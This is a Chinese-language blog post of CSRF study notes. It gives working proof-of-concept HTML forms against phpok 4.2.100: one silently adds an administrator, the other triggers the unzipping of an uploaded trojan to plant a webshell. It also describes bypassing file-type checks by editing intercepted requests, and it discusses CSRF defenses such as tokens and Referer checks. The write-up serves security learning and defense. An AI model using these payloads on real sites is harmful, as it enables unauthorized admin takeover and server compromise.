CSRF全称Cross Site Request Forgery,即跨站点请求伪造。我们知道,攻击时常常伴随着各种各样的请求,而攻击的发生也是由各种请求造成的。

  CSRF攻击能够达到的目的是使受害者发出由攻击者伪造的请求。

  

   CSRF能做的事情大概如下:

  1)篡改目标网站上的用户数据;    
  2)盗取用户隐私数据;
  3)作为其他攻击向量的辅助攻击手法;
  4)传播CSRF蠕虫。

  

(1)版本4.2.100:

在phpok该版本的后台提交如下POST请求可以添加管理员:

 POST /phpok/admin.php?c=admin&f=save HTTP/1.1
Host: www.goal.com

Cookie: …
(空一行)
id=…&accont=…&pass=…&status=…&if_system=…

由以上http头部可看出,此为添加管理员的请求,只有管理员能够执行。

攻击者可以构造如下页面:

 <html>
<div style="display:none">
<form action="http://localhost/phpok/admin.php?c=admin&f=save" id="poc" name="poc" method="post">
<input type="hidden" name="id" value=""/>
<input type="hidden" name="account" value=""/>
<input type="hidden" name="pass" value=""/>
<input type="hidden" name="email" value=""/>
<input type="hidden" name="status" value=""/>
<input type="hidden" name="if_system" value=""/>
<input type="submit" name="up" value="submit"/>
</form>
<script>
var t = document.poc;
t.account.value="wooyun";
t.pass.value="123456";
t.status.value="1";
t.if_system.value="1";
document.poc.submit();
</script>
</div>
</html>

当管理员访问攻击者制作的页面时,此时会通过javascript脚本来生成一个表单对象,来通过表单标签的id属性来调用表单,为表单赋值。

此时添加账户名t.account.value = "wooyun",此时新添加的管理员的名字将成为wooyun。

赋值结束后将通过document.poc.submit()函数来自动提交表单到受攻击的站点,此时由于管理员对于被攻击站点已经保存有cookie,则此时会直接添加新的管理员。

攻击发生之前:

管理员在登录的情况下访问攻击者的页面之后,如图:

可以看到,成功添加了一名管理员。

攻击到这里就结束了吗?并没有!攻击者利用CSRF漏洞成功进入了后台,他还要想办法GetShell!

在后台风格管理-创建模板文件的地方添加一个模板,通过抓包改包的方式绕过前端对文件类型的判断(由于判断文件类型是通过前端js,所以可通过抓包改包),如图:

GET /phpok/admin.php?c=tpl&f=create&id=1&folder=/&type=file&title=wooyun.html

改为GET /phpok/admin.php?c=tpl&f=create&id=1&folder=/&type=file&title=wooyun.php

可以看到成功添加了.php文件:

然后在编辑文件内容为一句话木马即可:

2)还是4.2.100...

刚才我们是通过CSRF先进入后台,然后利用后台的其他漏洞GetShell,这次我们直接在前台利用CSRF漏洞去GetShell怎么样?

phpok的前台可以上传.zip文件,我们把木马文件test.php压缩为test.zip;

注册一个账号,进入修改资料页面;

选择一个正常的图片,截获数据,如图:

然后修改数据,如图:

成功上传.zip文件,记录下文件id号,这里是739。

在后台的程序升级-ZIP离线包升级中的升级操作存在CSRF漏洞,演示如图

于是攻击者可以构造如下页面:

 <html>
<form action="http://localhost//phpok/admin.php?c=update&f=unzip" id="poc" name="poc" method="post">
<input type="hidden" name="zipfile" value=""/>
<input type="hidden" name="file" value=""/>
<input type="submit" name="up" value="submit"/>
</form>
<script>
var t = document.poc;
t.zipfile.value="739";
t.file.value="739";
document.poc.submit();
</script>
</html>

管理员登录后台后访问攻击者的页面,如图:

可以看到我们的木马文件已经上传到服务器上了。

这次攻击,我们根本没有进入后台,而是利用一个CSRF漏洞直接就拿到了Webshell,由此可以看出CSRF在某些场景下的威力之大,根本不亚于SQL注入和文件上传这样的漏洞。

CSRF的防御:

首先是“跨域”,我们发现CSRF攻击的请求都是跨域的,针对这一特点,我们可以在服务端对HTTP请求头部的Referer字段进行检查。一般情况下,用户提交的都是站内的请求,其Referer中的来源地址应该是站内的地址。至关重要的一点是,前端的JavaScript无法修改Referer字段,这也是这种防御方法成立的条件。

不过需要说明的是,有的时候请求并不需要跨域,比如我们后面讲到的结合XSS进行攻击的时候,有的时候甚至没有Referer字段…,这些也是使用这种防御方法的弊病所在。

第二点是“伪造”,这也是CSRF攻击的核心点,即伪造的请求。我们来想一下,攻击者为什么能够伪造请求呢?换句话说,攻击者能够伪造请求的条件是什么呢?纵观之前我们伪造的所有请求,无一例外,请求中所有参数的值都是我们可以预测的,如果出现了攻击者无法预测的参数值,那么将无法伪造请求,CSRF攻击也不会发生。基于这一点,我们有了如下两种防御方法:

  1. 添加验证码;

  2. 使用一次性token

先看看第一种。验证码的核心作用是区分人和机器,而CSRF攻击中的请求是在受害者上当的情况下由浏览器自动发出的,属于机器发出的请求,攻击者无法预知验证码的值,所以使用验证码可以很好地防御CSRF攻击,但毫无疑问,验证码会一定程度地影响用户体验,所以我们要在安全和用户体验之间找到一个平衡点。

再看看第二种方法。所谓token是一段字母数字随机值,我们可以把它理解为一个服务端帮我们填好的验证码!每当我们访问该页面时,服务端会根据时间戳、用户ID、随机串等因子生成一个随机的token值并传回到前端的表单中,当我们提交表单时,token会作为一个参数提交到服务端进行验证。在这个请求过程中,token的值也是攻击者无法预知的,而且由于同源策略的限制,攻击者也无法使用JavaScript获取其他域的token值,所以这种方法可以成功防御CSRF攻击,也是现在用的最多的防御方式。

但是,需要注意的一点是,token的生成一定要随机,即不能被攻击者预测到,否则这种防御将形同虚设。另外,token如果作为GET请求的参数在url中显示的话,很容易在Referer中泄露。还有更重要的一点:如果在同域下存在XSS漏洞,那么基于token的CSRF防御将很容易被击破,我们后面再说。

除了“跨域”和“伪造”两点,我们还可以注意到CSRF在攻击时间上的特点:CSRF攻击都是在受害者已经完成身份认证之后发生的,这是由CSRF攻击的目的所决定的。基于这一点,我们还可以想出一些缓解CSRF攻击的方法(注意是缓解),比如缩短Session的有效时间等等,可能一定程度上会降低CSRF攻击的成功率。

总结一下上面的防御方法如下:

  1. 验证Referer;(Referer中的来源地址应该是站内的地址。至关重要的一点是,前端的JavaScript无法修改Referer字段)

  2. 使用验证码;(由机器发出请求,验证码不可预测)

  3. 使用CSRF token;(用户拥有令牌token,但是攻击者没有)

  4. 限制Session生命周期。

CSRF token最大弊病:随机性不够好或通过各种方式泄露,此外,在大型的服务中需要一台token生成及校验的专用服务器,需要更改所有表单添加的字段,有时效性的问题。

												

csrf学习笔记的更多相关文章

  1. 初探csrf学习笔记

    以下是学习了对CSRF的理解,大家切勿作为标准,如有出错请告之! 严禁转载.不想拿自己刚学到的知识去[误人子弟]之所以写出来是让自己巩固和增加理解,他日对此文有不当之处自会修改. [00x1]csrf ...

  2. CSRF学习笔记之CSRF的防御【00x4】

    referer 验证 根据HTTP协议,在http请求头中包含一个referer的字段,这个字段记录了该http请求的原地址.通常情况下,执行转账操作的post请求www.bank.com/trans ...

  3. CSRF学习笔记之CSRF的攻击与防御以及审计【00x3】

    Hight.php完整代码如下: <?php if (isset($_GET['Change'])) { // Turn requests into variables $pass_curr = ...

  4. CSRF学习笔记之CSRF的攻击与防御以及审计【00x1 】

    +++++++++++++++++++++++++++ + 00x1 实现简单的攻击 + 00x2 代码审计漏洞的源头 +++++++++++++++++++++++++++ 00x1 简单的csrf ...

  5. CSRF 学习笔记

    1:什么是CSRF: 假设有一个支付网站:www.xx.com 向小明同学付款1000元数据包: www.xx.com/pay.php?name=xiaoming&account=xxxx@q ...

  6. CSRF学习笔记之CSRF的攻击与防御以及审计【00x2 】

    Medium完整代码: <?php if (isset($_GET['Change'])) { // Checks the http referer header if ( eregi ( &q ...

  7. Web 学习笔记 - 网络安全

    前言 作为 前端开发者,了解一点 Web 安全方面的基本知识是有很必要的,未必就要深入理解.本文主要介绍常见的网络攻击类型,不作深入探讨. 正文 网络攻击的形式种类繁多,从简单的网站敏感文件扫描.弱口 ...

  8. SpringBoot + Spring Security 学习笔记(五)实现短信验证码+登录功能

    在 Spring Security 中基于表单的认证模式,默认就是密码帐号登录认证,那么对于短信验证码+登录的方式,Spring Security 没有现成的接口可以使用,所以需要自己的封装一个类似的 ...

  9. SpringBoot + Spring Security 学习笔记(三)实现图片验证码认证

    整体实现逻辑 前端在登录页面时,自动从后台获取最新的验证码图片 服务器接收获取生成验证码请求,生成验证码和对应的图片,图片响应回前端,验证码保存一份到服务器的 session 中 前端用户登录时携带当 ...

随机推荐

  1. golang []byte转string

    golang中,字符切片[]byte转换成string最简单的方式是 package main import ( "fmt" _ "unsafe" ) func ...

  2. 【Spring源码分析】原型Bean实例化过程、byName与byType及FactoryBean获取Bean源码实现

    原型Bean加载过程 之前的文章,分析了非懒加载的单例Bean整个加载过程,除了非懒加载的单例Bean之外,Spring中还有一种Bean就是原型(Prototype)的Bean,看一下定义方式: & ...

  3. unity(c# ioc框架) 使用总结

    这里的unity指的是完成依赖注入的unity而不是游戏引擎. 原本项目完成依赖注入用的是spring.net,但是spring.net已经很久没人维护了,所以微软官方推出的Unity成为了替代spr ...

  4. 蓝桥杯java 关于大范围时间的

    import java.util.Calendar; import java.util.Date; public class A { /*这道题学习使用了java的calendar和类,主要是对dat ...

  5. 深入理解Java虚拟机类加载机制

    1.类加载时机 对于类加载的第一个阶段---加载,虚拟机没有强制的约束,但是对于初始化阶段,虚拟机强制规定有且只有以下的5中情况必须开始初始化,当然,加载.验证.准备阶段在初始化前就已经开始. ①使用 ...

  6. Canvas 画布组件(官网翻译)

    Canvas画布 The Canvas is the area that all UI elements should be inside. The Canvas is a Game Object w ...

  7. CentOS7安装最新版git教程

    下载编译工具 yum -y groupinstall "Development Tools" 下载依赖包 yum -y install zlib-devel perl-ExtUti ...

  8. kafka概念使用简介注意点

    使用场景 大数据量.低并发.高可用.订阅消费场景 概念理解 分区个数与消费者个数 分区个数 = 消费者个数 :最合适状态 分区个数 > 消费者个数 :某些消费者要承担更多的分区数据消费 分区个数 ...

  9. SoupUI安装

    (仅供学习,严禁用于商业应用) 今天开始在公司需要做websocket接口测试,以前从来没有接触过,对美好生活充满了向往啊,今天从安装开始吧! 至于什么是websocket自行百度,我也是百度出来的, ...

  10. 可能是最好的SQL入门教程

    个人博客:这可能是最好的SQL入门教程